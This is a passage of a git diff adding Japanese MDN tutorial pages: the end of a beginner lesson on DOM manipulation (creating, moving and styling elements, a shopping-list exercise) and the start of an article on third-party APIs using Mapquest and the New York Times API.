呼び出しでは文書に現われる最初の {{htmlelement("a")}} がマッチします。もし複数の要素を選択し処理したいのであれば {{domxref("Document.querySelectorAll()")}} を使うことができて、これはセレクタとマッチする全ての要素にマッチし、それらへの参照を {{domxref("NodeList")}} と呼ばれる<a href="/docs/Learn/JavaScript/First_steps/Arrays">配列</a>のようなオブジェクトに保存します。</p> + +<p>要素への参照を得るための、次のような古いやり方もあります:</p> + +<ul> + <li>{{domxref("Document.getElementById()")}} は要素を指定の <code>id</code> 属性値を使って選択します。<code><p id="myId">My paragraph</p></code> こんなのです。 関数の引数に ID を渡します。 <code>const elementRef = document.getElementById('myId')</code> こんな具合です。</li> + <li>{{domxref("Document.getElementsByTagName()")}} これは指定した種類の全ての要素を配列のようなオブジェクトとして返します、例えば全部の <code><p></code>、全部の <code><a></code>など。 要素の種別は関数の引数として渡します。<code>const elementRefArray = document.getElementsByTagName('p')</code> こんな具合です。</li> +</ul> + +<p>上の二つは <code>querySelector()</code> のような今風のメソッドよりも古いブラウザーで動作しますが、あまり便利ではありません。これ以外にどんなやり方があるかは、あなた自身で探してみて下さい!</p> +</div> + +<h3 id="新しいノードの作成と配置">新しいノードの作成と配置</h3> + +<p>ここまでで、どんな事ができるのかちょっと見えてきたと思いますが、さらに進んで新しい要素を作る方法を見ていきましょう。</p> + +<ol> + <li>今の例題に戻って、{{htmlelement("section")}} 要素を掴むところから始めましょう — すでに書いてあるスクリプトの下に次のコードを追加して下さい(この先の他の行についても、同じようにやって下さい): + <pre class="brush: js notranslate">const sect = document.querySelector('section');</pre> + </li> + <li>{{domxref("Document.createElement()")}} を使って新しいパラグラフを作り、前やったのと同じ方法でテキストを入れてやりましょう: + <pre class="brush: js notranslate">const para = document.createElement('p'); +para.textContent = 'We hope you enjoyed the ride.';</pre> + </li> + <li>この新しいパラグラフを section の最後に {{domxref("Node.appendChild()")}} を使って追加できます: + <pre class="brush: js notranslate">sect.appendChild(para);</pre> + </li> + <li>このパートの締めとして、文章がうまいことまとまるように、リンクを含んでいるパラグラフに対してテキストノードを追加しましょう。まずテキストノードを {{domxref("Document.createTextNode()")}} を使って作成します: + <pre class="brush: js notranslate">const text = document.createTextNode(' — the premier source for web development knowledge.');</pre> + </li> + <li>リンクを含んだパラグラフへの参照を取り出して、そこにテキストノードを追加します: + <pre class="brush: js notranslate">const linkPara = document.querySelector('p'); +linkPara.appendChild(text);</pre> + </li> +</ol> + +<p>以上が DOM にノードを追加するために必要な事のほぼ全てです — 動的なインターフェースを作成する際(あとでそういう例題をいくつか見ていきます)これらのメソッドをめっちゃ使う事になるでしょう。</p> + +<h3 id="要素を移動したり削除したり">要素を移動したり削除したり</h3> + +<p>ノードを移動したり、DOM から削除したくなる場合があると思います。勿論できます。</p> + +<p>リンクを含むパラグラフを section の最後に移動したい場合は、こうするだけです:</p> + +<pre class="brush: js notranslate">sect.appendChild(linkPara);</pre> + +<p>これでパラグラフは section の一番下に移動します。コピーが作成されるだけじゃないのかとお思いかもしれませんが、この場合は違います — <code>linkPara</code> はパラグラフへの参照の唯一のコピーです。もしコピーをした上で同じように追加をしたいのであれば、 {{domxref("Node.cloneNode()")}} をかわりに使う必要があります。</p> + +<p>削除したいノードとその親ノードへの参照を得ていれば、ノードを削除するのも非常に簡単です。今の例題であれば、以下のように {{domxref("Node.removeChild()")}} を使うだけです:</p> + +<pre class="notranslate">sect.removeChild(linkPara);</pre> + +<p>よくあるケースですが、削除したいノードそのものへの参照しかない場合に、{{domxref("ChildNode.remove()")}} が使えます:</p> + +<pre class="brush: js notranslate">linkPara.remove();</pre> + +<p>このメソッドは、古いブラウザではサポートされていません。 ノードにそれ自体を削除するように指示するメソッドはないので、次のようにしなければなりません。</p> + +<pre class="brush: js notranslate">linkPara.parentNode.removeChild(linkPara);</pre> + +<p>上の行をあなたのコードに追加してやってみて下さい。</p> + +<h3 id="スタイルを操作する">スタイルを操作する</h3> + +<p>いろんなやり方で CSS スタイルを JavaScript から操作することができます。</p> + +<p>まず、ドキュメントに付随する全部のスタイルシートのリストは {{domxref("Document.stylesheets")}} を使って得られ、これは {{domxref("CSSStyleSheet")}} オブジェクトを含む配列のようなオブジェクトを返します。そうしたらお望みのままにスタイルを追加したり削除したりできます。ですがこのやり方について詳しくはやりません。なぜならスタイルをいじるにはちょっとばかり古風で難しいやり方だからです。もっと簡単なやり方があります。</p> + +<p>まずは、動的にスタイルを指定したい要素に、インラインスタイルを直接追加するやり方です。これには {{domxref("HTMLElement.style")}} プロパティを使い、このプロパティはドキュメント中の各素要のインラインスタイル情報を保持しています。このオブジェクトのプロパティを更新すれば要素のスタイルを直接変更できます。</p> + +<ol> + <li>例として、作成中の例題に以下の行を追加してみて下さい: + <pre class="brush: js notranslate">para.style.color = 'white'; +para.style.backgroundColor = 'black'; +para.style.padding = '10px'; +para.style.width = '250px'; +para.style.textAlign = 'center';</pre> + </li> + <li>ページをリロードすると指定のパラグラフにスタイルが適用されているはずです。ブラウザーの <a href="/docs/Tools/Page_Inspector">Page Inspector や DOM inspector</a> からパラグラフを見ると、言うまでもなく上の行がドキュメントのインラインスタイルに追加されているはずです: + <pre class="brush: html notranslate"><p style="color: white; background-color: black; padding: 10px; width: 250px; text-align: center;">We hope you enjoyed the ride.</p></pre> + </li> +</ol> + +<div class="note"> +<p><strong>注記</strong>: CSS ではハイフン記法になっているものを、JavaScript プロパティ版の CSS スタイルはどんな風に小文字のキャメルケースで書いている(<code>background-color</code> と <code>backgroundColor</code> とか)か見ておいて下さい。まぜこぜにしないよう注意して下さい、さもないと動きませんよ。</p> +</div> + +<p>ドキュメントのスタイルを動的にいじる際によく使われる別のやり方をこれから見ていきましょう。</p> + +<ol> + <li>さっき JavaScript に追加した 5 行を削除します。</li> + <li>HTML の {{htmlelement("head")}} の中に、以下を追加します: + <pre class="notranslate"><style> +.highlight { + color: white; + background-color: black; + padding: 10px; + width: 250px; + text-align: center; +} +</style></pre> + </li> + <li>さて、多くの HTML 操作においてとても役に立つメソッドをお見せします — {{domxref("Element.setAttribute()")}} — これはに二つの引数、要素に設定したい属性名と、属性に設定したい値、を与えます。この場合だと、我々のパラグラフにクラス名、highlight をセットします: + <pre class="brush: js notranslate">para.setAttribute('class', 'highlight');</pre> + </li> + <li>ページをリロードしても何も変わりません — パラグラフには CSS が今も適用されていますが、今回はクラスを指定して CSS ルールが選んでいて、インライン CSS スタイルによるものではありません。</li> +</ol> + +<p>どうやるかはあなた次第です。それぞれに利点と欠点があります。最初のやり方は少ない設定ですみ、簡単な場合には向いていますが、二つ目のやり方はずっときれいです (よくないやり方とされる、CSS と JavaScript の混在やインラインスタイルの使用がありません)。もっと大規模で複雑なアプリを作り始めたら、多分二つ目のやり方をよく使うようになると思いますが、結局はホントにあなた次第です。</p> + +<p>ここまで、実はそれほど役に立つことをやってません! 静的なコンテンツの作成に JavaScript を使う利点はありません — JavaScript など使わず、普通に HTML に書けば良いんです。HTML よりややこしいですし、コンテンツを JavaScript で作成するのは他にも問題があります (検索エンジンで読めない、とか)。</p> + +<p>次の二つのセクションでは、DOM API のもっと実践的な使い方を見ていきます。</p> + +<div class="note"> +<p><strong>注記</strong>: 私たちによる <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example-manipulated.html">dom-example.htm l完成版</a> のデモが GitHub にあります (<a href="http://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example-manipulated.html">ライブ実行もどうぞー</a>)。</p> +</div> + +<h2 id="実践学習_ウィンドウオブジェクトから使える情報を取り出す">実践学習: ウィンドウオブジェクトから使える情報を取り出す</h2> + +<p>ここまででは文書を操作するための {{domxref("Node")}} と {{domxref("Document")}} の機能ばかり見てきましたが、他のソースからデータを取ってきてあなたの UI で使ったって勿論かまわないわけです。あなたはデータが正しい形式である事を確認するだけです。これは JavaScript が弱い型付け言語であるために、他の多く言語の場合よりも簡単です — 例えば画面に表示しようとしたとき、数値は自動的に文字列に変換されます。</p> + +<p>ここの例題ではよくある問題を解決していきます — あなたのアプリを表示しているウィンドウがどんな大きさであれ、それを同じ大きさになるようにすることです。これはゲームのような、表示する画面領域をできるだけ大きくしたいような場合に、しばしば役に立ちます。</p> + +<p>まずは <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example.html">window-resize-example.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/bgtile.png">bgtile.png</a> ファイルのローカルコピーを作成して下さい。読み込んで見てみて下さい — 背景に画像がタイル表示された、{{htmlelement("div")}} 要素が画面に小さく表示されているでしょう。この領域が、私たちのアプリの UI 領域だとしていきます。</p> + +<ol> + <li>まず最初に、div への参照を取得し、ビューポート (ドキュメントが表示されている内側のウィンドウです) の幅と高さを取得して、これらを変数に保存します。便利なことに幅と高さの値は {{domxref("Window.innerWidth")}} と {{domxref("Window.innerHeight")}} プロパティにあります。以下の行を、もう書いてある {{htmlelement("script")}} の中に書き足します: + <pre class="brush: js notranslate">const div = document.querySelector('div'); +let winWidth = window.innerWidth; +let winHeight = window.innerHeight;</pre> + </li> + <li>次は、動的に div の幅と高さをビューポートのものと同じにします。次の二行を、さっき追加した部分の後に書き足して下さい: + <pre class="brush: js notranslate">div.style.width = winWidth + 'px'; +div.style.height = winHeight + 'px';</pre> + </li> + <li>保存してブラウザーで読み直してみて下さい — どんな大きさの画面を使っているのであれ、div がビューポートと同じ大きさになったはずです。ウィンドウが大きくなるようにリサイズしてみても、div の大きさは変わらないはずです — 一度しか大きさを設定していないからです。</li> + <li>ウィンドウがリサイズされた時に div もリサイズされるよう、イベントを使ってみるのはどうでしょう? {{domxref("Window")}} オブジェクトにはリサイズされた時に呼ばれるイベントがあって、ウィンドウがリサイズされる毎発火します — この機能を {{domxref("Window.onresize")}} イベントハンドラーから使って、リサイズされる毎私たちのコードが再実行されるようにしてみましょう。あなたのコードの最後に以下を書き足して下さい: + <pre class="brush: js notranslate">window.onresize = function() { + winWidth = window.innerWidth; + winHeight = window.innerHeight; + div.style.width = winWidth + 'px'; + div.style.height = winHeight + 'px'; +}</pre> + </li> +</ol> + +<div class="note"> +<p><strong>注記</strong>: もし行き詰まったら、私たちによる <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/window-resize-example-finished.html">完成版ウィンドウリサイズ例題</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/document-manipulation/window-resize-example-finished.html">ライブ実行版もあるよ</a>) を見て下さい。</p> +</div> + +<h2 id="実践学習_動的な買い物リスト">実践学習: 動的な買い物リスト</h2> + +<p>この記事の締めとして、あなたにちょっとした難題を出したいと思います — 単純な買い物リストの例を作ってもらいます。フォーム入力(input)とボタンからリストに動的に商品を追加できるようにします。input に商品を入力してボタンを押したら:</p> + +<ul> + <li>商品がリストに表示されなければならない。</li> + <li>それぞれの商品にはボタンが付いていて、それを押すとその商品をリストから消せなければならない。</li> + <li>次の商品をすぐに入力できるよう、input の中身は消されてフォーカスされていなければならない。</li> +</ul> + +<p>完成版のデモはこんな感じになるでしょう:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14563/shopping-list.png" style="border-style: solid; border-width: 1px; display: block; height: 225px; margin: 0px auto; width: 369px;"></p> + +<p>この課題を完了させるには、以下のステップに従い、上で説明した通りに買い物リストが動くようにして下さい。</p> + +<ol> + <li>まず私たちが用意した <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list.html">shopping-list.html</a> 初期ファイルをダウンロードしてローカルコピーをどこかに作成します。最小限の CSS、ラベルのついたリスト、inputとボタン、空のリストと {{htmlelement("script")}} 要素が書いてあるはずです。この先書き足していくものは全部 script の中に書きます。</li> + <li>({{htmlelement("ul")}}) と {{htmlelement("input")}} と {{htmlelement("button")}} 要素への参照を保持する3つの変数を作成します。</li> + <li>ボタンがクリックされた時の応答として走らせる <a href="/docs/Learn/JavaScript/Building_blocks/Functions">関数</a> を作成します。</li> + <li>関数本体は、input 要素の現在の <a href="/docs/Web/API/HTMLInputElement#Properties">値</a>を変数に保存するところから始めます。</li> + <li>次に、input 要素の値に空文字列(<code>''</code>)を代入して、input 要素を空にします。</li> + <li>3つの要素を作成します — リスト項目({{htmlelement('li')}}) と {{htmlelement('span')}} と {{htmlelement('button')}} で、これらを変数に保存します。</li> + <li>span と button をリスト項目 li の子に追加します。</li> + <li>spanのテキストコンテントに、先程保存した input 要素の値を代入し、ボタンのテキストコンテントを「削除」にします。</li> + <li>できたリスト項目をリストの子に追加します。</li> + <li>削除ボタンにイベントハンドラーを追加して、クリックされたらボタンが含まれているリスト項目全体を削除するようにします。</li> + <li>最後に、<code><a href="/docs/Web/API/HTMLElement/focus">focus()</a></code>メソッドを使って input 要素にフォーカスし、次の買い物リスト商品をすぐに入力できるようにします。</li> +</ol> + +<div class="note"> +<p><strong>注記</strong>: 本当にどうしようもなく詰まったら、私たちの <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/shopping-list-finished.html">完成版買い物リスト</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/document-manipulation/shopping-list-finished.html">ライブ実行版もあるよ</a>)を見て下さい。</p> +</div> + +<h2 id="まとめ">まとめ</h2> + +<p>私たちのドキュメントと DOM 操作に関する学習はこれで終わりです。ここまでくれば、ドキュメントの制御やユーザのウェブ体験に関するブラウザーの重要な部品は何か、理解できたと思います。一番大事な DOM とは何か、役に立つ機能を作るのにこれをどう使えば良いのか理解できたと思います。</p> + +<h2 id="参考文献">参考文献</h2> + +<p>ドキュメントをいじるのに役立つ機能はたくさんあります。私たちのリファレンスも見て、いろいろ発見して下さい:</p> + +<ul> + <li>{{domxref("Document")}}</li> + <li>{{domxref("Window")}}</li> + <li>{{domxref("Node")}}</li> + <li>{{domxref("HTMLElement")}}, {{domxref("HTMLInputElement")}}, {{domxref("HTMLImageElement")}}, etc.</li> +</ul> + +<p>(私共の <a href="https://developer.mozilla.org/docs/Web/API">Web API index</a> から、MDNにあるウェブAPIに関する全ドキュメント一覧も見て下さい!)</p> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<div> +<h2 id="このモジュール内の文書">このモジュール内の文書</h2> + +<ul> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">ウェブAPIの紹介</a></li> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">ドキュメントの操作</a></li> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">サーバからのデータ取得</a></li> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">サードパーティAPI</a></li> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">絵を描く</a></li> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">動画と音声のAPI</a></li> + <li><a href="/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">クライアント側でのデータ保持</a></li> +</ul> +</div> + +<div id="simple-translate"> +<div> +<div class="simple-translate-button isShow" style="height: 22px; width: 22px; top: 12775px; left: 144px;"></div> + +<div class="simple-translate-panel " style="width: 300px; height: 200px; top: 0px; left: 0px; font-size: 13px; background-color: rgb(255, 255, 255);"> +<div class="simple-translate-result-wrapper" style="overflow: hidden;"> +<div class="simple-translate-move"></div> + +<div class="simple-translate-result-contents"> +<p class="simple-translate-result" style="color: rgb(0, 0, 0);"></p> + +<p class="simple-translate-candidate" style="color: rgb(115, 115, 115);"></p> +</div> +</div> +</div> +</div> +</div> diff --git a/files/ja/learn/javascript/client-side_web_apis/third_party_apis/index.html b/files/ja/learn/javascript/client-side_web_apis/third_party_apis/index.html new file mode 100644 index 0000000000..b44a2b17bf --- /dev/null +++ b/files/ja/learn/javascript/client-side_web_apis/third_party_apis/index.html @@ -0,0 +1,442 @@ +--- +title: サードパーティ API +slug: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs +tags: + - 3rd party + - API + - Beginner + - CodingScripting + - Google Maps + - Learn + - NYTimes + - Third party + - youtube +translation_of: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">これまで説明してきた API はブラウザーに組み込まれていましたが、すべての API がそうというわけではありません。Google Maps・Twitter・Facebook・PayPal などの大規模なサイトやサービスの多くは開発者がそれらのデータ (ブログに Twitter のストリームを表示するなど) やサービス (ユーザーのログインに Facebook ログインを利用するなど) を利用できるように API を提供しています。この記事ではブラウザー API とサードパーティ API の違いを見て、後者の典型的な使い方について説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>JavaScript の基礎 (<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>, <a href="/ja/docs/Learn/JavaScript/Building_blocks">JavaScript の構成要素</a>, <a href="/ja/docs/Learn/JavaScript/Objects">JavaScript オブジェクト入門</a> をご覧ください),<a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs">クライアントサイド API の基礎</a></td> + </tr> + <tr> + <th scope="row">到達目標:</th> + <td>サードパーティ API の仕組み、それらを利用してウェブサイトを強化する方法を学習する</td> + </tr> + </tbody> +</table> + +<h2 id="サードパーティAPIとは">サードパーティAPIとは?</h2> + +<p>サードパーティ API は、サードパーティ (通常は Facebook、Twitter、Google などの企業) が提供する API で、JavaScript を介して機能にアクセスしてサイトで使用することができます。最もわかりやすい例の 1 つとして、マッピング API を使用してページにカスタムマップを表示することがあります。</p> + +<p><a href="https://mdn.github.io/learning-area/javascript/apis/third-party-apis/mapquest/">Simple Mapquest API の例</a>を参考に、サードパーティ API とブラウザー API の違いを説明します。</p> + +<div class="note"> +<p><strong>注意</strong>: 一度に<a href="/ja/docs/Learn#Getting_our_code_examples">すべてのコード例を取得</a>したい場合があります。その場合は、各セクションで必要なサンプルファイルをレポジトリーで検索するだけで済みます。</p> +</div> + +<h3 id="それらはサードパーティのサーバーにあります">それらはサードパーティのサーバーにあります</h3> + +<p>ブラウザー API はブラウザーに組み込まれており、すぐに JavaScript からアクセスできます。たとえば、<a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction#How_do_APIs_work">紹介記事で見た</a>Web Audio API は、ネイティブの {{domxref("AudioContext")}} オブジェクトを使ってアクセスします。例えば:</p> + +<pre class="brush: js notranslate">const audioCtx = new AudioContext(); + ... +const audioElement = document.querySelector('audio'); + ... +const audioSource = audioCtx.createMediaElementSource(audioElement); +// etc.</pre> + +<p>一方、サードパーティの API はサードパーティのサーバーにあります。JavaScript からこれらにアクセスするには、まず API 機能に接続してページで利用できるようにする必要があります。 これは通常、Mapquest の例で見られるように、{{htmlelement("script")}} 要素を介してサーバー上で利用可能な JavaScript ライブラリーへの最初のリンクを含めます。</p> + +<pre class="brush: js notranslate"><script src="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.js"></script> +<link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/></pre> + +<p>そのライブラリーで利用可能なオブジェクトを使い始めることができます。例えば：</p> + +<pre class="brush: js notranslate">let map = L.mapquest.map('map', { + center: [53.480759, -2.242631], + layers: L.mapquest.tileLayer('map'), + zoom: 12 +});</pre> + +<p>ここでは、マップ情報を格納するための変数を作成し、次に <code>mapquest.map()</code> メソッドを使用して新しいマップを作成します。このメソッドは、必要な {{htmlelement("div")}} 要素の ID を受け取ります。('map') で地図を表示し、表示したい特定の地図の詳細を含む options オブジェクトを表示します。この場合は、地図の中心座標、表示する <code>map</code> 型の地図レイヤー (<code>mapquest.tileLayer()</code> メソッドを使用して作成)、およびデフォルトのズームレベルを指定します。</p> + +<p>これが、Mapquest API が単純な地図を描くために必要なすべての情報です。接続しているサーバーは、表示されている地域の正しい地図タイルを表示するなど、複雑なものをすべて処理します。</p> + +<div class="note"> +<p><strong>メモ</strong>: API の中には、機能へのアクセスをわずかに異なる方法で処理するものがあり、開発者はデータを取得するために特定の URL パターンに対して HTTP リクエストを行う必要があります。これらは <a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs#A_RESTful_API_—_NYTimes">RESTful API と呼ばれ、後で例が出てきます</a>。</p> +</div> + +<h3 id="通常は_API_キーが必要です">通常は API キーが必要です</h3> + +<p><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction#They_have_additional_security_mechanisms_where_appropriate">最初の記事で説明した</a>ように、ブラウザー API のセキュリティは許可プロンプトによって処理される傾向があります。これらの目的は、<span class="tlid-translation translation" lang="ja"><span title="">ユーザーが訪問したウェブサイトで何が起こっているのかをユーザー自身が認識できるようにし</span><span title="">、悪意のある方法で API を使用している人の被害にあう可能性を低くすることです。</span></span></p> + +<p>サードパーティの API には、少し異なる権限システムがあります。開発者が API 機能にアクセスできるようにするために開発者キーを使用する傾向があります。</p> + +<p>Mapquest API の例には、次のような行があります。</p> + +<pre class="notranslate">L.mapquest.key = 'YOUR-API-KEY-HERE';</pre> + +<p>この行では、アプリケーションで使用する API キーまたは開発者キーを指定します。アプリケーションの開発者は、キーを取得して API の機能へのアクセス許可を得るためにコードに含める必要があります。この例では、プレースホルダーを用意しました。</p> + +<div class="blockIndicator note"> +<p><strong>メモ</strong>: 独自の例を作成するときは、プレースホルダーの代わりに独自の API キーを使用します。</p> +</div> + +<p>他の API では、少し異なる方法でキーを含める必要があるかもしれませんが、ほとんどのパターンは比較的似ています。</p> + +<p>キーを要求することで、API プロバイダーは API のユーザーに自分のアクションに対する責任を持たせることができます。開発者がキーを登録すると、それらは API プロバイダに認識され、彼らが API に悪意のあることをし始めたらアクション (たとえば、人々の位置を追跡したり、APIを機能させないために大量のリクエストで API をスパムしようとするなど) を取ることができます。最も簡単なアクションは、単にそれらの API 特権を取り消すことです。</p> + +<h2 id="Mapquest_の例を拡張する">Mapquest の例を拡張する</h2> + +<p>API の他の機能の使用方法を示すために、Mapquest の例にさらに機能を追加しましょう。</p> + +<ol> + <li> + <p>この章を始めるにあたり、新しいディレクトリーに<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/mapquest/starter-file.html">mapquest starter file</a>をコピーしましょう。もしもすでに<a href="/ja/docs/Learn#Getting_our_code_examples">examples repository</a> をクローンしているようなら、必要な <em>javascript/apis/third-party-apis/mapquest</em> を見つけてコピーしてください。</p> + </li> + <li> + <p>次に <a href="https://developer.mapquest.com/">Mapquest developer site</a>に行ってください。アカウントを作り、デベロッパーキーを使用してあなたのサンプルに利用してください。(アカウント作成時、デベロッパーキーは "consumer key" と呼ばれています。そして、"callback URL" を尋ねられると思いますが、その入力欄は空欄でかまいません)</p> + </li> + <li>starting fileを開き、APIキーのプレスホルダーにあなたのキーを入力してください。</li> +</ol> + +<h3 id="地図の種類を変更する">地図の種類を変更する</h3> + +<p>Mapquest API で表示できるマップには、さまざまな種類があります。 これを行うには、次の行を見つけます。</p> + +<pre class="brush: js notranslate">layers: L.mapquest.tileLayer('map')</pre> + +<p>hybrid-style map にするために <code>'map'</code> を <code>'hybrid'</code> に変えてみてください。他にも様々な値があります。<a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-tile-layer/"><code>tileLayer</code> reference page</a> には使える様々なオプションや情報が載っています。</p> + +<h3 id="さまざまなコントロールを追加する">さまざまなコントロールを追加する</h3> + +<p>この地図には様々な機能を実装できますが、デフォルトでは、ズームコントロールのみが表示されます。<code>map.addControl()</code> メソッドを使うことで機能を拡張することが出来ます。以下のコードを<code>window.onload</code>ハンドラーに追加してみてください。</p> + +<pre class="brush: js notranslate">map.addControl(L.mapquest.control());</pre> + +<p><a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-control/"><code>mapquest.control()</code></a> メソッドは、単純なフル機能のコントロールセットを作成するだけで、デフォルトでは右上隅に配置されます。<code>position</code> プロパティを含むコントロールのパラメータとしてオプションオブジェクトを指定することで、位置を調整することができます。例えば、次のようにしてみてください。</p> + +<pre class="brush: js notranslate"> map.addControl(L.mapquest.control({ position: 'bottomright' }));</pre> + +<p>他にも、<code><a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-search-control/">mapquest.searchControl()</a></code> や <code><a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-satellite-control/">mapquest.satelliteControl()</a></code> など、利用可能なコントロールの種類があり、中には非常に複雑で強力なものもあります。実際に遊んでみて、何ができるか見てみましょう。</p> + +<h3 id="カスタムマーカーを追加する">カスタムマーカーを追加する</h3> + +<p>マップ上の特定のポイントにマーカー (アイコン) を追加するのは簡単です。<code><a href="https://leafletjs.com/reference-1.3.0.html#marker">L.marker()</a></code> メソッドを使用するだけです (関連する Leaflet.js のドキュメントに記載されているようです)。次のコードを <code>window.onload</code> に追加します。</p> + +<pre class="brush: js notranslate">L.marker([53.480759, -2.242631], { + icon: L.mapquest.icons.marker({ + primaryColor: '#22407F', + secondaryColor: '#3B5998', + shadow: true, + size: 'md', + symbol: 'A' + }) +}) +.bindPopup('This is Manchester!') +.addTo(map);</pre> + +<p>ご覧のように、最もシンプルな方法では、2 つのパラメータを取ります。マーカーを表示する座標を含む配列と、その時点で表示するアイコンを定義する <code>icon</code> プロパティを含むオプションオブジェクトです。</p> + +<p>アイコンは、<code><a href="https://developer.mapquest.com/documentation/mapquest-js/v1.3/l-mapquest-icons/">mapquest.icons.marker()</a></code> メソッドを使用して定義され、ご覧のようにマーカーの色やサイズなどの情報が含まれています。</p> + +<p>最初のメソッド呼び出しの最後に <code>.bindPopup('This is Manchester!')</code> を連鎖させ、マーカーがクリックされたときに表示されるコンテンツを定義します。</p> + +<p>最後に、<code>.addTo(map)</code> を連鎖させて、実際にマーカーをマップに追加します。</p> + +<p>ドキュメントに記載されているその他のオプションを試してみて、何ができるか見てみましょう。Mapquest には、道案内や検索など、かなり高度な機能があります。</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: サンプルがうまく動作しない場合は、完成版のコードをチェックしてみてください。<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/mapquest/expanded-example.html">expanded-example.html</a> を参照してください (<a href="https://mdn.github.io/learning-area/javascript/apis/third-party-apis/mapquest/expanded-example.html">ここでライブで実行しているのも見てください</a>)。</p> +</div> + +<h2 id="Google_マップはどうですか？">Google マップはどうですか？</h2> + +<p>Google Maps は間違いなく最も人気のある地図 API です。使用方法を示すために<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/google-maps/finished-maps-example.html">例を作成しました</a>が、最終的にはいくつかの理由から Mapquest を使用しました：</p> + +<ul> + <li>使い始めるのがはるかに簡単だからです。一般的な Google API の場合、Google アカウントを作成して <a href="https://console.cloud.google.com">Google Cloud Platform Console</a> にログインして API キーなどを作成する必要があり、そのプロセスはかなり複雑です。特に <a href="https://cloud.google.com/maps-platform/">Google Maps API</a> の場合は、課金目的でクレジットカードを提供する必要があり (基本的な利用は無料ですが)、基本的なチュートリアルとしては受け入れられないと思いました。</li> + <li>他にも選択肢があることを示したかったのです。</li> +</ul> + +<h2 id="RESTful_API_—_NYTimes">RESTful API — NYTimes</h2> + +<p>では、もう一つのAPIの例を見てみましょう — <a href="https://developer.nytimes.com/">New York Times API</a> です。この API を使用すると、New York Times のニュースストーリー情報を取得して、サイトに表示することができます。このタイプの API は <strong>RESTful API</strong> として知られています。Mapquest で行ったように JavaScript ライブラリーの機能を使用してデータを取得するのではなく、特定の URL にHTTP リクエストを行い、検索語やその他のプロパティのようなデータを URL 内にエンコードしてデータを取得します (多くの場合、URL パラメーターとして)。これは、API でよく見られるパターンです。</p> + +<h2 id="サードパーティAPIを利用するためのアプローチ">サードパーティAPIを利用するためのアプローチ</h2> + +<p>以下では、NYTimes API の使用方法を示すエクササイズを紹介しますが、新しい API を使用するためのアプローチとして、より一般的なステップのセットを提供します。</p> + +<h3 id="ドキュメントを探す">ドキュメントを探す</h3> + +<p>サードパーティの API を利用したい場合、その API がどのような機能を持っているのか、どのように利用するのかなどを知るために、ドキュメントがどこにあるのかを知ることは欠かせません。New York Times API のドキュメントは <a href="https://developer.nytimes.com/">https://developer.nytimes.com/</a> にあります。</p> + +<h3 id="開発者キーを取得">開発者キーを取得</h3> + +<p>ほとんどの API では、セキュリティと説明責任のために、何らかの開発者キー使用する必要があります。NYTimes API キーの登録には、<a href="https://developer.nytimes.com/get-started">https://developer.nytimes.com/get-started</a> の指示に従ってください。</p> + +<ol> + <li> + <p>記事検索 API のキーを要求してみよう — 新規アプリを作成し、これを利用したい API として選択します (名前と説明を記入し、「記事検索 API 」の下のスイッチをオンに切り替えて「作成」をクリックします)。</p> + </li> + <li> + <p>結果のページから API キーを取得します。</p> + </li> + <li> + <p>さて、例題を始めるために、<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/nytimes_start.html">nytimes_start.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/third-party-apis/nytimes/nytimes.css">nytimes.css</a> のコピーをコンピュータ上の新しいディレクトリに作成してください。すでに <a href="/ja/docs/Learn#Getting_our_code_examples">examples リポジトリをクローン</a>している場合は、<em>javascript/apis/third-party-apis/nytimes</em> ディレクトリにあるこれらのファイルのコピーをすでに持っているでしょう。最初に <code><script></code> 要素には、例のセットアップに必要な変数がいくつか含まれています。</p> + </li> +</ol> + +<p>このアプリは、検索用語とオプションの開始日と終了日を入力することを可能にし、Article Search API 